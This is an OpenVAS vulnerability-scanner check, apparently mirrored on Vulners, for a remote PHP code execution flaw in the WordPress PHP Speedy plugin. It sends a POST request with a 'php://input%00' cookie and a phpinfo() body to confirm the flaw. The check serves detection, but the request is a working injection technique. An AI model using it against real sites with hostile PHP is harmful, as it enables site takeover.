WordPress PHP Speedy Plugin <= 0.5.2 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check
🗓️ 22 Mar 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType
openvas🔗 plugins.openvas.org👁 7 Views
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:wordpress:wordpress";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802008");
script_version("2025-11-11T05:40:18+0000");
script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
script_tag(name:"creation_date", value:"2011-03-22 08:43:18 +0100 (Tue, 22 Mar 2011)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("WordPress PHP Speedy Plugin <= 0.5.2 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/16273");
script_xref(name:"URL", value:"https://packetstorm.news/files/id/98921");
script_xref(name:"URL", value:"https://web.archive.org/web/20210127130715/http://www.securityfocus.com/bid/46743");
script_xref(name:"URL", value:"https://exchange.xforce.ibmcloud.com/vulnerabilities/65913");
script_xref(name:"URL", value:"http://secunia.com/advisories/43652/");
script_tag(name:"qod_type", value:"remote_vul");
# nb: The POST request might be already seen as an attack...
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wordpress_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("wordpress/http/detected");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
malicious PHP code to in the context of an affected site.");
script_tag(name:"affected", value:"WordPress PHP Speedy plugin version 0.5.2 and prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"summary", value:"WordPress PHP Speedy Plugin is prone to a remote PHP code
execution vulnerability.");
script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
input via the 'page' parameter to
'/wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php', which allows
attackers to execute arbitrary PHP code in the context of an affected site.
NOTE: Exploit will work properly when the following settings are configured within PHP:
register_globals=On, allow_url_include=On and magic_quotes_gpc=Off");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
useragent = http_get_user_agent();
postData = "<?php phpinfo(); ?>";
url = dir + "/wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php";
# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name( port:port );
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Cookie: page=php://input%00\r\n",
"Content-Length: ", strlen(postData),
"\r\n\r\n", postData);
res = http_keepalive_send_recv(port:port, data:req);
if(!res || res !~ "^HTTP/1\.[01] 200")
exit(0);
if(concl = http_check_for_phpinfo_output(data:res)) {
report = http_report_vuln_url(port:port, url:url);
report += '\nConcluded from:\n' + concl;
security_message(port:port, data:report);
exit(0);
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Nov 2025 00:00Current
7.2High risk
Vulners AI Score7.2